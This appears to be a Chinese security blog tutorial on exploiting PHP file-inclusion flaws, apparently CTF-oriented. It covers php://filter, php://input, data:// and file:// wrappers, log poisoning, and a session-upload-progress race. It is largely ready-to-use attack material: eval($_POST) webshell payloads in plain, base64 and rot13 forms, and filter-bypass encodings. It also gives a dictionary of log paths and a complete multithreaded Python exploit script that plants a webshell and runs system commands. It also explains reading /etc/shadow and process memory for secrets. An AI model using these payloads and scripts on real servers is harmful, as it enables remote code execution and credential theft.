四、文件包含漏洞[伪协议、读取文件、命令执行]

一、PHP伪协议

1.php://filter

应用场景:一般用来读取源码和写入内容

1.写入

# 下面读取用的一些比如convert.base64、convert.iconv.UTF-8.UTF-7写入也可以用

## 写入一句话木马<?php eval($_POST['cmd']);?>
## 配合post参数cmd=phpinfo();
file_put_contents('php://filter/write=convert.base64-decode/resource=123.php','PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=='); # 写入到123.php
## 但是注意当网址源代码是下面这样时,要在PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==前面加入随便几个字符比如a,aa,aaa,aaaa,这样能破坏前面的语句转换成base64,导致base64只能正常解析后面的语句,写入的内容实际就为¦^Zi<86><98>§~<86><9a><?php eval($_POST['cmd']);?>
file_put_contents(urldecode($file),"<?php die('后面的要失效了哈哈哈哈’);?>".$content);

## 写入一句话木马<?php eval($_POST['cmd']);?>
## 配合post参数cmd=phpinfo();
## string.rot13转换不会存在base64那样的解析问题
file_put_contents('php://filter/write=string.rot13/resource=123.php','<?cuc riny($_CBFG["pzq"]);?>');

2.读取

php://filter:用于对流进行各种过滤或转换操作,可以作为一个中间流来处理其他流,可以进行任意文件的读取

// base64编码
//格式:php://filter/处理函数/resource=资源路径
$data = file_get_contents('php://filter/convert.base64-encode/resource=a.txt');
echo $data;
// 如此种场景,使用伪协议来读取
$lan = 'php://filter/convert.base64-encode/resource=flag.php';

include($lan);
// 结果:MTUxNTUxDQoxNTE1MQ0KMTU1MQ0KMjIzMg0K(再进行解码就能获取)

绕过(当可以使用php://filter,但是服务端又存在过滤的情况下可以使用下面的绕过):

  1. string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符
php://filter/string.rot13/resource=flag.php
// 如果flag.php存在<等某些特殊字符,可能会直接在服务端报错,压根执行不了,适合数字,英文内容的读取
  1. 大小写转换
php://filter/string.toupper/resource=flag.php //转大写
php://filter/string.tolower/resource=flag.php //转小写
  1. 字符串按要求的字符编码来转换
// 格式 php://filter/convert.iconv.<input-encoding>.<output-encoding>/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-32/resource=flag.php
php://filter/convert.iconv.UTF-8.ASCII/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=a.php
// 支持的编码格式很多,可以在网上自行寻找

当遇到过滤时可以用下面的内容(将与位置替换即可)之后用burpsuite的cluster bomb爆破(16*16):

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

在这里插入图片描述
解码:

// 假设 $utf7String 是你从 UTF-7 编码转换得到的字符串
$utf7String = "+ADw?php +ACQ-flag+AD0'cyberpeace+AHs-ad86b86c79ef08b8b04532428fac7c7f+AH0'+ADs";

// 使用 iconv 函数将字符串从 UTF-7 转换为 UTF-8
$utf8String = iconv("UTF-7", "UTF-8", $utf7String);

// 输出转换后的 UTF-8 字符串
echo $utf8String;

  1. 过滤器
php://filter/convert.quoted-printable-encode/resource=flag.php
// 可以使用quoted_printable_decode()解码
  1. 压缩
php://filter/zlib.deflate|zlib.inflate/resource=flag.php

php://filter/bzip2.compress|bzip2.decompress/resource=flag.php

// 这样会自动去选择解压还是压缩可能直接显示明文

2.php://input

应用场景:一般用来执行php任意命令,在php安全策略配置出现问题时才会有此问题
php://input:一般配合post输入,它提供了一种直接获取 POST 请求数据的方式,尤其适用于处理来自客户端的原始数据,适合执行php文件

$inputData = file_get_contents('php://input');
echo $inputData;//用户post输入的内容

案例:

  1. 执行任意危险命令
    在这里插入图片描述
  2. 上传一句话木马
    1. 普通:<?php eval($_POST['get']);?> ## 配合post参数get=phpinfo();
    2. 短标签:<?=eval($_POST['get']);?> ## 配合post参数get=phpinfo();

3.file://

应用场景:一般用来访问本地文件

file://:可以用于访问绝对路径和相对路径,当使用file伪协议时,可以指定文件的绝对路径,例如file:///path/to/file.php,也可以指定相对路径,例如file://relative/path/to/file.php.

file://:也可以配合include协议进行文件包含(内容如果是php内容会执行,内容为php标签外的会打印)include "file://localhost/etc/passwd"include "file:///etc/passwd"

$content = file_get_contents('file://E:\phpstorm\test\a.txt');
echo $content;//文件被打印出来

4.data://

应用场景:用来执行命令

前提:

allow_url_fopen :on
allow_url_include:on

执行命令:

  1. 普通:<?php phpinfo();?>
  2. 短标签:<?=phpinfo();?>

使用案例:
用法:

http://localhost:5005/?file=data:text/plain,<?=system("ipconfig");?>
# 这个在file后面加了//
http://localhost:5005/?file=data://text/plain,<?=system("ipconfig");?>
# 错误例子
# PD89cGhwaW5mbygpOz8+ 解码为<?php phpinfo();?> base64加密后有+号,而在浏览器get请求中+号表示空格,所以正确做法是把+号进行url编码,也就是将+号换为%2B
http://localhost:5005/?file=data:text/plain;base64,PD89cGhwaW5mbygpOz8+
# 正确例子
http://localhost:5005/?file=data:text/plain;base64,PD89cGhwaW5mbygpOz8%2B
# 一句话木马
http://localhost:5005/?file=data:text/plain,<?=eval($_POST['mypost']);?>
## 配合post参数mypost=phpinfo();
# 一句话木马
PD89ZXZhbCgkX1BPU1RbJ215cG9zdCddKTs/Pg== 解码为<?=eval($_POST['mypost']);?>
## 配合post参数mypost=phpinfo();
http://localhost:5005/test/a.php?file=data:text/plain;base64,PD89ZXZhbCgkX1BPU1RbJ215cG9zdCddKTs/Pg==

二、PHP文件包含

1.日志写入一句话木马

原理:利用include函数的特点与服务器的漏洞,首先include能将任何文本内容当PHP代码执行,同时如果服务器配置有问题,给日志所在目录赋予了访问权限就会导致日志写入一句话木马

实施:先用一个请求里面Header包含User-Agent:<?=eval($_POST['mypost']);?>,为什么这么写,因为不论是Apache2还是Nginx日志默认都会写入用户这个信息,所以我们可以用此来先进行访问致使日志存在该信息,此时再来让include访问日志所在目录就可能会导致一句话木马的生成

日志信息:172.21.84.18 - - [13/Apr/2024:19:23:02 +0800] "GET / HTTP/1.1" 200 1835 "-" "<?=eval($_POST['a']);?>"

注意:运行的时候,先使用phpinfo();因为其可能将全部日志显示出现,里面包含你执行完命令的结果,可能导致你找不到结果显示在哪里,固先用phpinfo()确定好命令反馈出现的位置

日志字典

/Program Files/Apache Group/Apache/logs/access.log
/Program Files/Apache Group/Apache/logs/error.log
/apache/logs/access.log
/apache/logs/error.log
/apache2/logs/access.log
/apache2/logs/error.log
/etc/httpd/logs/acces.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/logrotate.d/vsftpd.log
/etc/wu-ftpd/ftpaccess
/logs/access.log
/logs/access_log
/logs/error.log
/logs/error_log
/logs/pure-ftpd.log
/opt/lampp/logs/access.log
/opt/lampp/logs/access_log
/opt/lampp/logs/error.log
/opt/lampp/logs/error_log
/opt/xampp/logs/access.log
/opt/xampp/logs/access_log
/opt/xampp/logs/error.log
/opt/xampp/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache2/logs/access.log
/usr/local/apache2/logs/access_log
/usr/local/apache2/logs/error.log
/usr/local/apache2/logs/error_log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
/var/adm/log/xferlog
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/log/access.log
/var/log/access_log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/apache/access.log
/var/log/apache/access_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/access.log
/var/log/apache2/access_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/var/log/error.log
/var/log/error_log
/var/log/exim/mainlog
/var/log/exim/paniclog
/var/log/exim/rejectlog
/var/log/exim_mainlog
/var/log/exim_paniclog
/var/log/exim_rejectlog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/ftplog/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/maillog
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql-slow.log
/var/log/mysql/mysql.log
/var/log/mysqlderror.log
/var/log/proftpd/var/www/logs/access.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/pureftpd.log
/var/log/thttpd_log
/var/log/vsftpd.log
/var/log/xferlog
/var/mysql.log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
/var/www/mgr/logs/access.log
/var/www/mgr/logs/access_log
/var/www/mgr/logs/error.log
/var/www/mgr/logs/error_log
/www/logs/proftpd.system.log

2.利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

session.auto_start = off
// 如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。默认为关
session.upload_progress.enabled = on
// 表示upload_progress功能开始,PHP 能够在每一个文件上传时监测上传进度。 
// 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。默认为开
session.upload_progress.cleanup = on
// 默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
// 当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时(这部分数据用户可控),上传进度可以在SESSION中获得。
// 当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
// session.upload_progress.freq = "1%"+session.upload_progress.min_freq = "1":选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计
session.use_strict_mode=0
// 当session.use_strict_mode为0时,造成Session ID可控,也就是Cookie里面的PHPSESSID传入多少,其为多少session.use_strict_mode选项出现在php5.5之后

解释:在PHP的配置文件里面的配置session.upload_progress.enabled = On此表示当浏览器向服务器上传一个文件时,PHP将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中(就算PHP代码里面没有任何上传操作也会执行这步),而存储的session位置就在/tem/目录下格式为/tem/sess_Tgi,其中当session.use_strict_mode = Off(默认就是Off)时Tgi的值用户可以自定义,这样我们就可以实现文件包含,那么如何自定义呢在于Cookie:'PHPSESSID': Tgisess_的值与PHPSESSID的值与拼接起来就是缓存目录的地址,此时还要注意当session.upload_progress.cleanup = On(默认为On)时,/tem/sess_Tgi文件会在上传完毕后强制删除,这时候我们需要在上传完成前去访问缓存,下面是python利用脚本

利用思路

  1. 上传一个有一定大小的文件,一般为50KB左右
  2. 传入Cookie,使得我们确定构造文件的命令
  3. POST传入参数PHP_SESSION_UPLOAD_PROGRESS,其值为恶意代码(因为其值会被写入临时文件当中,我们利用这里进行文件包含就能导致代码执行成功)
  4. 构造代码,在上传的同时进行读取文件操作,通过竞争能够使得我们在临时文件消失前成功读取到文件

配置文件查找缓存目录:

########下面的生效在/etc/php.ini(Debian)
; where MODE is the octal representation of the mode. Note that this
; does not overwrite the process's umask.
; http://php.net/session.save-path
;session.save_path = "/var/lib/php/sessions"


########下面的不生效在/etc/php.ini而在/etc/httpd/conf.d/php.conf(Ubuntu)
; where MODE is the octal representation of the mode. Note that this
; does not overwrite the process's umask.
; http://php.net/session.save-path

; RPM note : session directory must be owned by process owner
; for mod_php, see /etc/httpd/conf.d/php.conf
; for php-fpm, see /etc/php-fpm.d/*conf
session.save_path = "/var/log/httpd/tmp"

可能的缓存目录:

/var/lib/php/sess_
/var/lib/php/sessions/sess_
/var/lib/php/session/sess_
/tmp/sess_
/tmp/sessions/sess_
# 脚本因为具有竞争关系去写入与读取文件所以对于session_unset();session_destroy();system(rm -rf /tmp/*);都不会影响最终结果的执行
import io
import requests
import threading

sessid = 'BUG'
data = {"cmd": "system('ifconfig');"}

base_url = 'http://192.168.31.153/'
def write(session, event):
    while not event.is_set():
        # 50KB
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(base_url,
                            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
                            files={'file': ('jackio.txt', f)}, cookies={'PHPSESSID': sessid})


def read(session, event):
    while not event.is_set():
        resp = session.post(base_url + '/?file=/var/lib/php/session/sess_' + sessid, data=data)
        if 'jackio.txt' in resp.text:
            print(resp.text)
            event.set()
        else:
            print("[+++++++++++++]retry")


if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        threads = []
        for i in range(1, 30):
            t = threading.Thread(target=write, args=(session, event))
            t.start()
            threads.append(t)
        for i in range(1, 30):
            t = threading.Thread(target=read, args=(session, event))
            t.start()
            threads.append(t)
        for t in threads:
            t.join()  # 等待所有线程结束

三、PHP文件包含利用函数

注意:下面的这几个函数,如果里面的文件为非php文件,但是其也会将其内容进行读取并尝试以php进行解析并运行

  1. require():找不到被包含的文件会产生致命错误,并停止脚本运行,只要其包含的内容,如果为php内容则会执行,非php内容会被打印出来
  2. include():找不到被包含的文件只会产生警告,脚本继续执行,只要其包含的内容,如果为php内容则会执行,非php内容会被打印出来
  3. require_once()require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
  4. include_once()include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
  5. file_get_contents不会执行php代码,只会读取文件内容,执行不了命令,没有echo,就显示不了信息

四、重要文件的作用

解释:当我们发现文件读取漏洞,一般会对重要文件进行读取,例如/etc/passwd,下面就会说我们能够从这些文件中获取哪些有用的信息

  • /etc/passwd:Linux系统保存用户信息及其工作目录的文件,读到这个文件我们就可以知道系统存在哪些用户、他们所属的组是什么、工作目录是什么;其中目录为/home/xxx一般是普通用户,其它一般是软件用户(权限:所有用户/组可读)
    在这里插入图片描述

  • /etc/shadow:Linux系统保存用户信息及密码(hash)的文件,比/etc/passwd更加具备价值;其中有用户的哈希密码,如果获取可能在本地进行碰撞获取明文(权限:所有者具有读写权限,属组(shadow)具有只读权限,其他用户没有任何权限)
    在这里插入图片描述

  • /etc/apache2/:apache的配置文件保存在此目录下面,/etc/apache2/apache2.conf是主配置文件,/etc/apache2/sites-enabled下面有具体的包括网站路径端口域名等配置(如下图)
    在这里插入图片描述

  • /etc/nginx/:nginx的配置文件保存在此目录下面,/etc/nginx/nginx.conf是主配置文件,/etc/nginx/sites-enabled下面有具体的包括网站路径端口域名等配置(如下图)
    在这里插入图片描述

  • /proc:通常存储着进程动态运行的各种信息,本质上是一种虚拟目录,如果遇到文件读取漏洞,可以通过读取

    • /proc/self/cmdline读取一些敏感信息(可能有当前项目启动时,启动命令例如:python3 app.py);
    • /proc/[pid]/cmdline则与上面类似,读取pid号对应进行的一些敏感信息
    • /proc/self/mem:其是一个特殊文件,它提供对当前进程地址空间的访问,例如在Flask里面启动项目加载一个密钥,其就存在于此文件中,可以先通过/proc/self/maps(其里面包含进程相关的启动地址、结束地址、权限、内存区域对应文件的路径),下面演示相关代码由于篇幅问题在另一篇文章:Flask存储在内存中的密钥被读取
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
伪协议filter是一种用于文件包含伪协议。它不受allow_url_fopen和allow_url_include参数的影响,可以用来读取本地文件系统或访问HTTP、FTP等协议的URL。 在PHP中,可以使用php://filter伪协议读取文件内容并对其进行处理。例如,使用php://filter/resource=来读取文件内容,php://filter/read=convert.base64-encode/resource=可以将文件内容以base64编码输出。 通过使用filter伪协议,攻击者可以利用文件包含漏洞来读取敏感文件,包括PHP源代码、配置文件等。因此,在编写PHP代码时,务必要注意对用户输入进行严格过滤和验证,避免文件包含漏洞的利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [文件包含-伪协议](https://blog.csdn.net/Wu000999/article/details/101925271)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTF---Web---文件包含---02---rot13伪协议](https://blog.csdn.net/qq_22160557/article/details/119174803)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值